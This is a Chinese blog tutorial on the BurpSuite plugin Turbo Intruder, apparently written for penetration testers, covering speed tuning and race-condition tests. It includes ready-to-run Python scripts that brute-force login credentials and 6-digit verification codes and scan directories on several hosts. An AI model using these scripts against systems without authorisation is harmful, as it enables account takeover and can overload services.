在上一篇 一些相见恨晚的BurpSuite插件推荐 文章中简单介绍了下 Turbo Intruder 这个插件,这次来详细讲解下这个插件的使用,灵活运用该插件可以很好地提高我们的渗透效率。

Turbo Intruder 简介

Turbo Intruder 是一个 BurpSuite 插件,用于发送大量HTTP请求并分析结果。它的设计目的是补充 Intruder 的不足。它的特点如下:

快速 -Turbo Intruder 使用了一个重写的 HTTP 栈 ,用于提升速度。在许多目标上,它甚至可能超过流行的异步 Go 脚本。
可扩展 -Turbo Intruder 运行时使用很少的内存,从而可以连续运行几天。同时可以脱离 burpsuite 在命令行下使用。
灵活 - Turbo Intruder 的攻击是使用 Python 配置的。这样可以处理复杂的要求,例如签名的请求和多步攻击序列。此外,自定义 HTTP 栈意味着它可以处理其他库无法处理的畸形格式请求。
方便 - 它的结果可以通过 Backslash Powered Scanner 的高级差异算法自动过滤。这意味着您可以单击两次即可发起攻击并获得有用的结果。

Turbo Intruder 有多强大呢?可以看下作者的使用截图

上图中, 可以看到他用了17个小时,发送了14亿个请求,每秒发送了 22546 个请求,而内存只用了 1GB。

这速度是什么概念呢?以 6 位数验证码的爆破为例,一共 1000000 个请求, 每秒 20000个请求, 只需 50 秒即可爆破成功,即使你的验证码有效期是 1 分钟,也会被暴力破解!所以不要认为6位的验证码就足够安全!

当然,上面的速度是比较极限的,应该是在云主机 vps 上的带宽使用 burpsuite 。

我们的家用网络一般达不到这种速度,但每秒几百个请求还是很轻松的,以每秒 1000 个请求计算, 6位数的验证码,1000000个请求,也只需1000秒,也就是16分钟即可破解。

Turbo Intruder 低层原理

Turbo Intruder 使用自定义的 HTTP 栈来和服务器进行通信。

首先它会使 Connection: keepalive 头发起 HTTP 请求,如果是使用默认的 Connection: close 头,那么每次和服务器建立 HTTP 请求时都要重新建立一条 TCP 连接,这样比较浪费时间。

Connection: keepalive 头可以复用同一条 TCP 连接来发送多个 HTTP 请求, 这样就可以节省重复建立 TCP 连接的时间。 从下图可以看出,使用 Connection: keepalive 头后速度是原来的 400% 。

另外, 它还使用了 HTTP Pipelining (HTTP 管道)的方式来发送 HTTP 请求,这种方式会一次性发送几十个 HTTP 请求到服务器, 然后再一次性读取几十个请求响应。通过 HTTP 管道的方式,速度是一开始的 6000% !

Turbo Intruder 安装

可以在 burpsuite 的 BApp Store 直接安装该插件,也可以在它的 github 地址下载手动安装插件。

在应用商店中安装

也可以在以下地址下载 jar 包手动添加

https://github.com/PortSwigger/turbo-intruder/releases/download/1.0.12/turbo-intruder-all.jar

Turbo Intruder 使用

以网站目录扫描为例,对于要扫描的网站,可以在请求中选中要 fuzz (模糊测试)的点,下图中是 login.php 的地方,然后右键,选择 Send to turbo intruder

在新打开的窗口中会自动加载 default.py 的代码,该代码可以在 github 上下载:
https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py

这个窗口分为两部分,上面的是要进行 fuzz 的请求内容,选中的插入点会用一个 %s 来代替,表示接下来会在这个点上插入字典。

窗口的下面部分为自定义的 python 代码,用于生成字典并指导 Turbo Intruder 如何进行 fuzz。稍后再讲解代码的作用,我们需要修改的是13 行处字典的路径,修改成我们本地的目录字典路径,最好是英文的路径:

接着点击 Attack 按钮开始目录扫描:

运行情况如上图,可以看到一共发送了 28 万个请求,一共使用了 58 秒, 每秒发送了4892 个请求。

点击其中的一条请求,可以看到之前 %s 的地方已经被字典的内容替换了,上图中替换的内容是 /robots.txt

Python 代码讲解

要自定义更高级的攻击,就需要设计自己的 fuzz 代码来定制攻击。在这里需要 Python 编程语言的基础,不会 Python 的建议看下《Python 核心编程》。

我们来看看上面的 Python 代码做了什么:

# Find more example scripts at https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/default.py
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=5,requestsPerConnection=100,pipeline=False)
​for i in range(3, 8):engine.queue(target.req, randstr(i), learn=1)engine.queue(target.req, target.baseInput, learn=2)
​for word in open('/usr/share/dict/words'):engine.queue(target.req, word.rstrip())
​
def handleResponse(req, interesting):if interesting:table.add(req)

代码中的 queueRequests() 函数负责生成字典,并且添加到请求队列中。

queueRequests() 函数中传入了两个参数,第一个参数是 target,里面封装了这个请求目标的一些信息,wordlists 参数是自带的一些字典,在这里先不管它。

代码中在第 3 行处创建了一个 RequestEngine 对象, 传入了 3 个参数。
endpoint 参数指定目标的地址,如 https://www.baidu.com 。这里直接传入
target.endpoint 就可以了。pipeline 代表是否开启 http 管道模式。

接下来的 concurrentConnections 参数代表和服务器建立多少条连接,
requestsPerConnection 参数代表每条连接同时发送多少个请求。
上面的设置意思是和服务器建立 5 条管道, 每条管道同时发送 100 个请求。

在 9 - 11 行中通过 engine.queue() 函数向请求队列中插入了 5 条随机的请求和 5 条原本的请求。target.req 代表请求的模板,也就是加了 %s 后的请求内容;target.baseInput 代表选中的内容。 randstr(i) 用于生成指定长度的字符。

这 10 条请求的响应作为样本,在后面 fuzz 时,如果出现和样本不一样的响应,就会显示到结果中。主要用于自动识别感兴趣的响应。其中的 learn 参数是样本 id , 用于区分不同的样本。

handleResponse() 函数负责判断哪些请求响应是感兴趣的。req 参数是请求的响应,可以通过 req.status 、 req.response 、req.length 、 req.wordcount 来获取响应状态码、响应内容、长度、和字符数。

interesting 参数是布尔变量,指示该响应是否和样本一样,如果一样就是 False, 不一样就是 True。所以在 17 行处根据 interesting 的值来把响应添加到结果中。这个参数在做目录爆破时比较好用,也就是我们想要的结果的响应长度和内容变化比较大的情况下比较好用。

interesting 参数使用时,如果是一些登录请求,长度没变化,比如 SUCCESS = 1/0 这种情况下,就很难区分出成功和不成功的请求了。因此我比较喜欢自己判断请求响应是否感兴趣,如 req.status != 404 。

注意事项

Turbo Intruder通过网络级效率来提高速度,因此即使在网络连接较差的情况下,Turbo Intruder也可以保持相对较高的性能。 即使在咖啡店的wifi,也可以每秒实现数百个请求。

这意味着目标网站可能会成为其运行速度的限制因素。 由于它使用的并发连接数量少,因此不太可能造成经典的DoS情况,即服务器的连接池被消耗,其他人无法连接。 但是,以资源密集型页面为目标可能会使服务器陷入困境(CC攻击),并使所有人的速度变慢,因此建议在攻击期间监视应用程序性能。

调节 Turbo Intruder 的速度

理想情况下,当然是同时建立的连接越多,每条连接同时发送的请求越多,速度就越快,但可能受限于目标网站的性能和自己网络带宽的原因,只能达到一定速度。比如挂了一个很卡的 VPN 或者目标网站性能太差。

在开始的时候,可以把 concurrentConnections 设置为 1 ,requestsPerConnection 设置为 100 ,我们先来测试单个连接能达到的最大速度。

需要注意的变量是 RPS 和 Retries ,如果 Retries 过多,证明有很多请求失败,需要调低点同时发送的请求。

可以看到此时每秒可以发送 84 个请求。

再把 requestsPerConnection 设置成 200 ,可以看到每秒发送的请求不增,反而降了

再设置 requestsPerConnection 为 50 , RPS 是 73, 发现还是比 100 的小,所以我们现在把 requestsPerConnection 设置为 100 这个最佳值。

接下来把 pipeline 设置为 True ,使用管道模式。

可以看到 RPS 一下子升到了 348,可以看到使用管道模式可以大大提高速度。

接下来把 concurrentConnections 设置成5 ,也就是使用 5 条连接一起发送请求。

可以看到 RPS 升到了 2141 ,速度提升了几倍。

我们继续提升管道数为 10 ,速度提升到了 2634 , 但 Retries 达到了 41, 也就是需要重新发送的请求变多了,意味着网络不稳定了。因此我们对这个目标选择 concurrentConnections=5, requestsPerConnection=100, pipeline=True 作为最佳的参数。

可以看到,通过合理调节速度,把一开始的每秒 80次请求数提升到了2000次。

Turbo Intruder 进阶使用

下面使用 Turbo Intruder 进行一些常见的攻击。

测试并发漏洞

默认脚本使用流式攻击方式,这对于最大程度地减少内存使用量非常有用,但对于查找竞争条件而言并不是理想的选择。要查找竞争条件,您将要确保所有请求都在尽可能小的窗口内命中目标,这可以通过在启动请求引擎之前对所有请求进行排队来完成。

可以在下面地址找到代码示例:

https://github.com/PortSwigger/turbo-intruder/tree/master/resources/examples/race.py

先下看看代码:

def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=30,requestsPerConnection=100,pipeline=False)
​
# the 'gate' argument blocks the final byte of each request until openGate is invokedfor i in range(30):engine.queue(target.req, target.baseInput, gate='race1')
​
# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)engine.openGate('race1')
​engine.complete(timeout=60)
​
​
def handleResponse(req, interesting):table.add(req)

这段测试并发的代码和前面扫描目录的有点不一样,并发测试的时候,不是使用队列来发送数据的,上面的代码中同时开启了 30 个连接,然后在第 9 行处添加了 30 个请求,需要注意的是,第9行处的 30 必须和
concurrentConnections 的值一样。接着使用了 gate 参数,这个参数用来标识属于同一个并发测试的请求。

此时,会在30个连接中各放入一个请求,但会留下最后一个字节不发送出去,然后在第 15 行处等待30个连接中的请求都准备好后一起发送最后一个字节,这样服务器就会同时处理30个请求,从而达到了并发测试的目的。

在 17 行会设置最迟60秒后显示结果。


爆破账号密码

爆破账号密码和扫描目录差不多,只是把字典添加在用户名或者密码处,为了方便,我把横向爆破、单个账号密码爆破、同时爆破账号密码的代码分别建立了一个函数,要用哪个时就删除哪个函数的注释:

from urllib import quote
​
def password_brute(target,engine):for word in open('/Users/mac/safe/web/brute/mypass.txt'):engine.queue(target.req, quote(word.rstrip()))
​
def user_brute(target,engine):for word in open('/Users/mac/safe/web/brute/myuser.txt'):engine.queue(target.req, quote(word.rstrip()))def user_password_brute(target, engine):for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):for user in open('/Users/mac/safe/web/brute/usertop100.txt'):engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])
​
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=30,requestsPerConnection=100,pipeline=False)#user_brute(target,engine)#password_brute(target,engine)user_password_brute(target,engine)
​
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.responseif req.status == 302:table.add(req)

需要注意的是,要同时爆破账号名和密码,需要分别给账号和密码处添加 %s ,在添加请求队列时,需要使用数组的形式来把用户名和密码都添加进去,如14行处的代码所示。

在 28 行处根据状态码为 302 判断是否登录成功,实际测试中可以有多种判断方式。

注意,需要在第4、8、12和13行处替换成你自己的用户字典和密码字典,同时爆破账号密码时,用户字典和密码字典都不宜过大,如 top100 用户字典和 top100 密码字典组合为例,就会有 10000个请求,数量就比较大了。

爆破验证码

爆破验证码只需生成数字的所有排列组合就可以了,可以通过以下代码来生成

from itertools import product
​
def brute_veify_code(target, engine, length):pattern = '1234567890'for i in list(product(pattern, repeat=length)):code =  ''.join(i)engine.queue(target.req, code)
​
​
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=30,requestsPerConnection=100,pipeline=True)brute_veify_code(target, engine, 6)
​
​
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.responseif 'error' not in req.response:table.add(req)

使用时只需要调用函数,传入要生成验证码的长度即可,在本例子中生成6位的验证码

对多个目标目录扫描

对多个目标进行扫描可以使用以下代码来实现:

def mult_host_dir_brute():req = '''GET /%s HTTP/1.1
Host: %s
Connection: keep-alive
​
'''engines = {}
for url in open('/Users/mac/temp/urls.txt'):url = url.rstrip()engine = RequestEngine(endpoint=url, concurrentConnections=5,requestsPerConnection=100,pipeline=True)engines[url] = enginefor word in open('/Users/mac/safe/web/brute/all.txt'):word = word.rstrip()
for (url, engine) in engines.items():domain = url.split('/')[2]engine.queue(req, [word, domain])
​
def queueRequests(target, wordlists):mult_host_dir_brute()
​
def handleResponse(req, interesting):
# currently available attributes are req.status, req.wordcount, req.length and req.responseif req.status != 404:table.add(req)

其中 urls.txt 里面存放了两个首页的 URL:

https://www.baidu.com
http://172.16.108.176
代码中第9行处定义了一个请求模板,里面两个插入点 %s ,一个是路径的位置,一个是 Host 头的位置, 接着在第8至14行为每个请求新建一个请求 engine, 每个 engine 负责扫描一个 URL, 在16-20行添加字典进队列进行扫描。

这时可以用随便一个请求来打开 Turbo Intruder 窗口,输入上面代码,把要扫描的 url 放到 urls.txt 即可扫描。

注意,需要在第8和16行处替换成你自己的 urls.txt 和目录字典的路径。

总体代码

常见的几种攻击方式介绍完了,这里给出一个完整的代码,包含上面的所有函数,想要用哪个函数,就解除注释调用就行了:

from urllib import quote
from itertools import product
​
def concurrency(target,engine):# the 'gate' argument blocks the final byte of each request until openGate is invokedfor i in range(30):engine.queue(target.req, gate='race1')# wait until every 'race1' tagged request is ready# then send the final byte of each request# (this method is non-blocking, just like queue)engine.openGate('race1')engine.complete(timeout=60)
​
def parameter_brute(target,engine):for word in open('/Users/mac/safe/web/brute/AllParam.txt'):engine.queue(target.req, word.rstrip())
​
def dir_brute(target, engine):for word in open('/Users/mac/safe/web/brute/dir_scan/all_dir.txt'):#for word in open('/Users/mac/safe/web/brute/all.txt'):engine.queue(target.req, word.rstrip())
​
def mult_host_dir_brute():req = '''GET /%s HTTP/1.1
Host: %s
Connection: keep-alive
​
'''engines = {}for url in open('/Users/mac/temp/urls.txt'):url = url.rstrip()engine = RequestEngine(endpoint=url, concurrentConnections=5,requestsPerConnection=100,pipeline=True)engines[url] = engine
​for word in open('/Users/mac/safe/web/brute/all.txt'):word = word.rstrip()for (url, engine) in engines.items():domain = url.split('/')[2]engine.queue(req, [word, domain])
​
def password_brute(target,engine):for word in open('/Users/mac/safe/web/brute/mypass.txt'):engine.queue(target.req, quote(word.rstrip()))
​
def user_brute(target,engine):for word in open('/Users/mac/safe/web/brute/myuser.txt'):engine.queue(target.req, quote(word.rstrip()))
​
​
def user_password_brute(target, engine):for password in open('/Users/mac/safe/web/brute/passwordtop100.txt'):for user in open('/Users/mac/safe/web/brute/usertop100.txt'):engine.queue(target.req, [quote(user.rstrip()),quote(password.rstrip())])def brute_veify_code(target, engine, length):
#    pattern = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'pattern = '1234567890'for i in list(product(pattern, repeat=length)):code =  ''.join(i)engine.queue(target.req, code)
​
​
def queueRequests(target, wordlists):engine = RequestEngine(endpoint=target.endpoint,concurrentConnections=30,requestsPerConnection=100,pipeline=True)#brute_veify_code(target, engine, 5)dir_brute(target, engine)#user_brute(target,engine)#concurrency(target,engine)#password_brute(target,engine)#user_password_brute(target,engine)#mult_host_dir_brute()
def handleResponse(req, interesting):# currently available attributes are req.status, req.wordcount, req.length and req.responseif req.status != 404 and req.status != 302:#if req.wordcount != 1197 and req.wordcount != 1196:#if 'success' in req.response:#if req.length == 461:#if interesting:table.add(req)

Turbo Intruder 的用法在这里就介绍完了,更多高级的功能需要自己去定制 python 代码,比如延时爆破等。

Turbo Intruder 可以说是我最喜欢的插件之一了,所以把这个插件分享给大家。熟练使用 Turbo Intruder 可以极大地提升我们的渗透效率!

本文章也在我的公众号发布

Turbo Intruder 使用 - 拥抱十亿请求攻击相关推荐

  1. Turbo Intruder:突破速率限制

    很多测试因为速度达不到而使理论上的结果无法实现.即使可以增加线程数来提升速度,资源占用问题也会成为另一种瓶颈. 特点介绍 Turbo Intruder 是一个 Burp Suite 扩展插件,用于发送 ...

  2. 为什么Google上十亿行代码都放在同一个仓库里?

    导读:相对于一般公司,Google 使用了单一代码仓库,很多人不理解为什么这么做.本文作者是谷歌基础设施小组的工程师,对这个问题进行了详细解读.译者在翻译过程中受益良多,也相信大家看完之后会认为自己还 ...

  3. Facebook如何将QUIC应用于数十亿流量传输

    随着IETF很快完成QUIC标准定稿,越来越多的企业和开发者投入到QUIC开发实现与部署中.阿里巴巴实现了XQUIC:B站.快手在2019年就公开了QUIC的应用实践:Akamai等CDN服务商则很早 ...

  4. 当60亿次攻击来袭,人机联合打了一场漂亮的防御战

    云是大规模体量下各种小概率事件常态化的一个复杂场,云上的攻防对抗是攻击者和防御者在这张复杂场上的博弈与演化.大规模的环境之中充斥着各种各样转瞬即逝的信息,对于威胁,没有什么是比「大规模」和「转瞬即逝」 ...

  5. 百度十亿级流量的搜索前端,是怎么做架构升级的?

    Harttle 百度资深研发工程师,北京大学物理学学士和计算机科学硕士.2016年加入百度,曾负责和参与百度搜索Web极速浏览框架.MIP开源项目的研发,目前负责搜索结果页和搜索推荐业务.Liquid ...

  6. 数十亿个 Wi-Fi 设备存在缺陷,通信易被窃听!

    作者 | DAN GOODIN 译者 | 弯月,责编 | 屠敏 出品 | CSDN(ID:CSDNnews) 以下为译文: 在最近的RSA安全会议上,研究人员表示,数十亿设备(其中许多已打补丁)受到W ...

  7. Ripple 20:严重漏洞影响全球数十亿IoT设备,复杂软件供应链使修复难上加难

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士团队 周三,以色列网络安全公司 JSOF 警告称,在20世纪90年代设计的一个小型库 Treck TCP/IP 中发现了19个漏洞,可导致全 ...

  8. 【恩墨学院】京东618大促网关承载十亿调用量背后的架构实践

    京东618大促网关承载十亿调用量背后的架构实践 王栋 京东618大促,其网关承载了几十亿的流量和调用,在这种情况下,网关系统必须保证整个系统的稳定性和高可用,保证高性能和可靠,以支撑业务.他们面临的是 ...

  9. 十大密码攻击及缓解措施

    今天,密码依然是许多组织整体网络安全防御中最薄弱的环节之一,同时也是最热门的攻击对象之一,根据卡巴斯基的报告,2021年三季度密码窃取恶意软件的攻击激增了45%,针对个人用户的攻击数量也增长了近30% ...

最新文章

  1. 采购审批专题总结--bob
  2. at24c16如何划分出多个读写区_51单片机向at24c16EPROM写入一个数据每问题,写入多个数据,读出的数据都一样...
  3. 【system generator】基于system generator的根号运算系统实现
  4. 【OpenCV3】平滑处理详解
  5. c++新特性11 (10)shared_ptr一”概述“
  6. Scss、elementUI引入、transition动画 - 学习笔记
  7. 【渝粤教育】电大中专新媒体营销实务 (10)作业 题库
  8. 前端学习(1332):mongodb安装
  9. 从北京回来的年轻人,我该告诉你点什么?
  10. 使用HTML5和JavaScript创建音乐播放列表
  11. C/C++[codeup 2026]日期类
  12. iot_programe Makefile hacking
  13. java p2p 聊天_P2P--多用户在线聊天室(Java源码)
  14. 系统架构师论文-论软件开发平台的选择和应用(MIS系统)
  15. 基于JAVA面相高校学生的图书共享平台计算机毕业设计源码+数据库+lw文档+系统+部署
  16. input内容右对齐_STM32学习笔记—DAC基础内容及常见问题
  17. python(pyqt5)多线程解决界面无响应
  18. 关于Kubernetes 中通过 Kustomize 实现YAML资源文件组合与继承的一些笔记
  19. 如何为新员工找到团队“归属感”
  20. 26岁转行软件测试,目前34了,分享一些我的经历和感受

热门文章

  1. ActiveMQ activemq web管理界面介绍
  2. linux lsof 已打开的文件列表
  3. linux 文件批量转utf8
  4. 工控系统的指纹识别技术
  5. iconv 文件编码转换
  6. 如何写windbg高级脚本---以访问文件的windbg脚本为例说明
  7. Ubuntu命令行下安装,卸载软件包的过程
  8. MmGetSystemRoutineAddress和MiFindExportedRoutineByName函数的实现代码
  9. Rose Study
  10. Centos7设置时区